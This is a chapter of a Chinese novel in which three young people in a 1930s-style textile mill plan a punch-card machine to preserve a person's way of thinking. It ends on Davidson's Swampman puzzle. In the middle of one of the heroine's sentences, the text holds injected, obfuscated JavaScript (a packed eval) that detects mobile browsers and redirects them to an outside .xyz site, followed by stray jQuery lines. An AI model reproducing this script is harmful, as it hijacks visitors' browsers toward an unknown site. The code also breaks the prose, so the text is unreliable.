永丰纱厂位于南州城东，远离热闹街市，厂区围墙高高竖起，一道铁轨贴着外墙延伸，偶尔有运煤的车轰隆而过。天刚过午，阳光炙热，石板地面已烫得发烫。
陈蔚青站在永丰纱厂西门前，犹豫了一下，从手提包里掏出那封被她折得整整齐齐的信。她又低头看看自己身上穿的碎花雪纺上衣和半身裙——说是便服，可在这里还是显得太花哨。
守门人是个四五十岁的男人，皮肤黝黑，正在树荫下剥花生。他见她过来，半眯着眼问：“小姐，哪家的？”
“我找……沈字仓。”她顿了顿，“沈公子让我来的。”
那人狐疑地看了她一眼，又望向她手中那封信，嘴里嘟囔了一句什么“果然是个大小姐”，这才站起身来，把花生袋往旁边一撂：“跟我来。”
她跟着他沿着侧道拐进厂区，耳边逐渐响起纱机“哐哐”作响的声音，还有女工叫喊的声音，夹着布料拖拽的摩擦，节奏密集得几乎让她喘不过气来。
空气里是浓重的棉屑味与机油味。她用手掩住鼻子，看见一个穿蓝布衣服的女孩从厂房里出来，年纪比她还小，头发贴在额前，背上的汗渍浸湿了一整块。女孩抬头看她时，眼神里没什么惊讶，只有一种淡漠和疲惫。
她忽然觉得有些局促，裙摆太长了，鞋子太新了，阳光太亮了，连自己影子都不属于这里。
绕过主厂房时，守门人指了指角落一座矮旧的小楼：“那边锅炉房，沈字仓就在那，自己进去吧。”
“谢谢。”她低声说。
她站在那栋矮楼前，犹豫了一秒才推门进去。
门刚一开，室内扑出一阵闷热的铁锈味和焊锡味，光线比外头暗不少，像走进了一片沉默的水汽。
一个人影正蹲在地上整理什么，背对着她。他听到开门声，没回头，只随口问了一句：“大小姐你找谁？”
蔚青站在门口一时没反应过来。
那人终于回头，一双眼睛直直看着她。那人看上去二十岁出头，眼睛黑黑的，像一个深不见底的洞，眼睛又深深地陷在眼眶里，又给眉眼之间添了一层深邃。阳光透过门缝打在他额角，显出一道浅浅的伤痕。
“你是……”他看清了她的脸，忽然站起来，拍了拍手掌，“你是……陈小姐？”
她点点头，还没开口，就突然意识到自己站在油渍斑斑的地面上，穿着裙子像是误入了什么神秘领域。
“我来找沈时砚。”她尽量用平稳的语气说。
“他一会才来。”那人说，“我是这儿的修理工，罗炽南。”
“你好。”她点了点头。
他像是要说点什么，又没说，只是拉了张椅子放在一边：“你先坐吧，这里热，不习惯就站窗边。”
她走进去，轻轻坐下，背挺得笔直，眼睛却扫过室内。
这里和她想象的不一样。没有想象中的书桌、绘图纸和电报机，只有一排旧木箱、一台拆了一半的缝纫机和几块放着铁丝的木板。
“你在这里工作？”她忽然问。
“我十几岁那会在这边厂子里跑腿，有时候也在这块歇脚。”罗炽南说，“这以前是锅炉间，后来废了。”
“十几岁那会……”她有些发怔。
“你是哪家小姐？”他忽然问，“这地方不是你们这些人会来的。”
“陈……”她突然不知道该怎么回答，从前从来没有人问过她这个问题，就像她母亲常说的——“只要你一站在那，别人就必须知道你是谁”，她思考了一秒，回答道，“家里是洋行的。”
他“哼”了一声：“沈公子就是有办法。”
门外传来一阵脚步声，两人一齐望向门口——
“我来晚了吗？”沈时砚喘着气走进来，脸上挂着汗珠，却还是一派书生模样。
蔚青站起来，冲他点点头，又不动声色地扫了罗炽南一眼。
“你们见过了？”沈时砚放下手里的包，“那太好了。”
“是你朋友？”蔚青问。
“也算。”他笑笑，“我一个在南州还能信得过的熟人。”
罗炽南从鼻子里挤出一声冷哼：“所以说沈大少爷，你要做什么？”
沈时砚把包放在桌上，掏出几张图纸和铅笔，简单铺开。
“我说的，是这么一个东西，”他一边说，一边把几张纸摊开，纸上是些歪歪扭扭的框线和箭头，“它不复杂，用的是一套固定的问题结构。只要有问题——它就能输出一个判断。”
“判断？”罗炽南挑了挑眉，“那跟厂子里打的考勤钟有啥两样？人来了，钟就响一下，人走了，又响一下。那也算判断？”
“不一样。”沈时砚笑了笑，像是在等这个问题。“它不是测你来没来——它是回答：你要不要这样做。”
他顿了顿，看向蔚青：“我们可以设置一个问题系统，比如十道题。每道题只有两个选项——是或否。但真正有意思的是——这些选择会产生组合，组合会影响结果。”
“没懂。”罗炽南说。
“比如说，”沈时砚忍着笑意，捡起一块木板在灰地上画了个简图，假如我是那台机器，有人来问我，‘你觉得这件事我该不该去做呢？’，于是我反问他：“第一个问题是：‘你有把握完成吗？’、第二个问题是：‘你会选择独自完成任务吗？’，他回答了以后，根据他的回答，我再给出‘我觉得你应该去做’或者‘我觉得你不应该去做’的结论。当然，答案和结果都是我们已经写好的，机器只是负责吐出来而已。”
陈蔚青眨了眨眼，若有所思：“你是说……这个机器是在模拟一个人的回答？”
“没错。”沈时砚点头，“但这样说，还是太抬举它了。”
“这台机器不是什么聪明的玩意儿。”沈时砚说着，掏出几张打着小孔的卡纸放在桌上，“它其实不会思考，也不会判断对错，它只会根据我们提前写死的规则，吐出一个固定的答案。”
“比如我问它十个问题，每个问题只有‘是’或‘不是’两个答案。只要你选了‘是，是，不是，是……’这个顺序，它就会吐出一张纸条说——‘你可以去做’。”
“为什么它这么说？不是它觉得你行，而是我们早就规定了：只要你这样选，它就说这句话。它根本不懂你是谁，也不管你要做什么。”
“它像一只应声的鹦鹉，你提前告诉它‘如果有人说了甲和乙，那你就回答丙’，它以后只会照着说。它不会真的去思考，只会按照顺序走。”
他顿了顿，看着陈蔚青：“但你要是按照某个人的逻辑设计这一整套问题和答案，那它以后说出的每句话，就像——这个人还在跟你说话一样。”
“这台机器的全部意义就在这。只是像个思维的照相机，虽然复制下来只是那个人静止不动的样子，但至少，人还有影像去怀念。”
屋内一时安静了几秒。
“说得好听。”罗炽南忽然开口，“可你做这个，到底是为了什么？”
沈时砚愣了一下，但语气还平稳：“我想在大学里谋个位置，那些理论没人听我讲，我需要有一个成品，能展示我这几年学的东西……这是最实际的。”
“所以你做这个，是为了脱身？”罗炽南笑了，“沈家不想要你，你就想靠一台破机器挤出去？”
沈时砚张了张嘴，没说话。“你能讲讲原理吗？”陈蔚青被吸引住了，把话题扭回正轨，“这个机器要怎么问问题，怎么回答问题呢？”
沈时砚沉了口气，似是被罗炽南那句“破机器”带来的微妙锋芒刺到。他低下头，在地上上简略地划了几个方框，又画出线条连接其中。
“我们先设计一个问题结构。”他说，“十道问题，或者更多，你们来定，每道只能回答‘是’或‘否’。这些答案打在卡片上——比如打孔，或者按键，把它们转成电流信号，最后机器给出的结果会像电报机一样，写在它吐出来的纸带上。”
“打孔？”罗炽南皱眉。
“对，原理其实很老了，美国人三十年前就在用了。”沈时砚点头，“是简化版的那种老式的人口普查机——他们用打孔卡片，把每个人的资料打在卡上，机器里有根针，去‘碰’那些小孔，只要碰到，就通电，相当于‘读懂了’这个信息。”
他笑了一下，补充道：“我们要做的也是类似的东西。问题、答案都提前打好，机器只是按顺序把你写好的答案‘读’出来，最后吐出一个判断，虽说是机电结合，但原理甚至远不如蒸汽时代纯机械的差分机的原理复杂。”
他顿了顿，语气变得认真：“不是很高深的，不是未来科技——只是一个能根据设定规则说‘是’或‘不是’的盒子。”
“你们别误会，也别被吓着，我没打算造什么很厉害的东西。”他笑了笑，“但就算是这个……三个人做起来，也够我们忙一阵的。”
他停顿了一下，又补了一句：“我看过图纸，其实不难改造。”
蔚青缓缓开口：“也就是说……机器可以把……我的思想留下来？”
沈时砚点了点头：“是的——当然不是全部，但至少，一部分吧。”
他顿了顿，又低头拨了拨纸上的图线，像是斟酌用词：“不过，我觉得‘思想’这个词，可能还是有点大了。”
他抬起眼看向她，语气温和，却带着一种谨慎：“它更像是……一套判断方式。就像照片留下的是你的样子，一个静止不动的、你的画像，但不是真正的你。这个东西，也只是我们留下的一个逻辑壳子，不会再多了。”
“你别太……感动。”他说得很轻，带着点笑意，又略带一丝抱歉，“这不是魔法，也不是奇迹，它只是齿轮、电流和纸带，按你写好的步骤，一步步重复。”
陈蔚青突然想到他在女中的教室里，快门按下那一刻，他问她：“你希望它留下你的什么样子？”
她那时没想好，说实话，现在也没有。
但是，无论如何——她低头看着那些图纸，手指轻轻摩挲着纸角，半晌才开口：“我明白了。我知道这机器不能真的回答我……我也知道，设好问题、设好答案，最后的‘判断’其实只是我自己写出来的。”
她抬起眼睛看向沈时砚，眼神异常的坚定，甚至带着几丝兴奋，“可问题是我定的，答案是我选的，这才是意义所在。哪怕结果早就写好了——那也是我写的。我想学着自己提问题，也想学着自己回答，自己做选择。”
她轻轻笑了一下，像在自嘲，又像在对自己打气，语气却格外平静：“我以前……从没觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502439|170413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得自己做得了什么。别人说我会写文章、会背诗、会钻研些‘女孩家不该学的东西’，可他们从来不觉得这算什么。不是正经事，不是将来能派上用场的东西。”
“可我喜欢这些。我想试一次，哪怕只是打下手、干点杂活也好。我想在我喜欢的事情上，真正留下点东西，给他们看。”
她停了停，语气里有一种静静燃烧的任性与坚定：“我不想再当个无足轻重的洋娃娃了。”
锅炉房里一时安静下来。沈时砚望着她，神色一瞬间有些复杂。他没料到她会说出这样一番话——太直接，也太认真了。她的眼睛像一团急着寻找出口的火，带着某种执拗得近乎危险的热情。
他忽然有点预感：她会走得比他们想象中还远。可这一刻，他却什么也说不出来。
“怎么样？”他只好笑着开口，声音里带着一丝掩饰不住的激动，“我会负责主要的逻辑判断系统和结果输出系统的设计和制作——你们谁来设计问题结构和答案？”
他故作轻松地转向她：“欢迎加入。”
罗炽南眯着眼摆了摆手：“我没有想留下的思想。”
“我也……”陈蔚青突然想到了什么，吞下她后面的话，改口道，“如果，不是我的，而是别人的，行不行？如果我用这个留下了别人的思想……如果以后，那个人不在我身边的时候，我想知道会怎么想，会怎么说，是不是就可以……知道了？”
沈时砚一愣，随即轻声回答：“行啊。如果你能为那个人设定一整套问题，那机器就能用她的思路来回答问题。”
“就像他在场。”他顿了顿，“当然，前提是你真的理解他。”
“这才是难的。”她低头笑了笑，像是对自己说的。
“那我来试试。”她缓缓开口，声音带着一丝慎重，“我来试着设计这一组问题吧。”
“真的？”沈时砚眼睛一亮。
“嗯。”
“那你想以谁为模型？”
她沉默了一下，说：“我母亲。”
一时间屋里安静下来，连窗外纱厂传来的轰鸣都显得遥远。
沈时砚点头，没多问。
罗炽南站起身，手插在口袋里，打破了宁静：“原来你们想的是这些。”
“什么？”
“你拿它去逃命——你又拿它去找妈妈——那我呢？我干嘛帮你们？”他站起身，走到窗边，一边往外看一边说，像是在看工厂里忙忙碌碌的人，“我呢，沈少爷，我帮你忙，你成了学校里的大师以后，我要你们沈家手下的一个厂——不是说要你们送给我，你们得给我一个工头的位置。”
“有点功利了吧？”陈蔚青不满地说，“你就是为了这个？你就算技术很厉害，管理也不是那么容易的事情。怎么能说给就给。“
气氛有一瞬间凝注。罗炽南没有回头，声音却冷下来：“是啊，我就为了这个。怎么，不高尚，不够理想，不够‘值得留在纸带上’？”
“你要的只是位置，还是不合理的位置。”蔚青不甘示弱，“难怪你说你没有想留下的思想，这种东西怎么会有人想留下来，也没人想看。”
“可我至少知道它能干嘛。”他转过身，语气里隐隐有火，“这东西最后还不是一堆螺丝钉、一些纸条、还有电。和厂子里打的考勤钟有什么两样，你怎么不去和做考勤钟的人讲你的思想你的大道理！”
沈时砚忍不住插话：“你别这样说。”
“我说错了吗？”他盯着蔚青。
蔚青一震，脸色泛白，但没有吭声。
他又看向沈时砚，“我从头到尾都没骗你。我干活，是想拿点东西换点回报。你们沈家有的，我没有。”
屋里一阵沉默。
几秒后，他甩了一句：“我出去抽根烟。”
他转身离开了锅炉房，背影沉沉，像是和工厂那道旧墙影子融在了一块。
沈时砚望着他的背影，叹了口气：“他说得也没错。”
蔚青坐回椅子上，低声问：“你会给吗？”
“工头的位置？”
“嗯。”
“会。”他顿了顿，“如果机器真做出来，我会给他。”
“你还真是会做生意。”她轻声说。
沈时砚没反驳，只是向她抱歉地笑了笑，随即追了出去。
陈蔚青独自坐在那个命运的锅炉房里，此刻安静得几乎凝固。那时她还未曾想到，将来这里会响起机器的轰鸣、电流的跳动、三人争执的语调，和一句句彼此鼓励的回音。她只听到窗外的风吹过纱厂铁棚，发出微微的哐当声——像是一架沉睡的机器，在黑暗中缓缓苏醒。
很多年后，有学生问她：
“哲学家唐纳德·戴维森提出这样一个问题：一个人穿越沼泽时被闪电击中，死去；而同时，另一道闪电击中附近沼泽，碰巧以完全相同的分子结构，重组出一个和他一模一样的复制人。
这个复制人拥有相同的记忆、语言、情感，甚至继续去找他的朋友，没有人发现他‘不是真正的他’。那么——那个人还是原来那个人吗？”
她沉默片刻，没有给出答案——她也不觉得自己真的能给出一个答案。她只是想起了那个下午，那个她决定要复制、保存母亲思想的下午。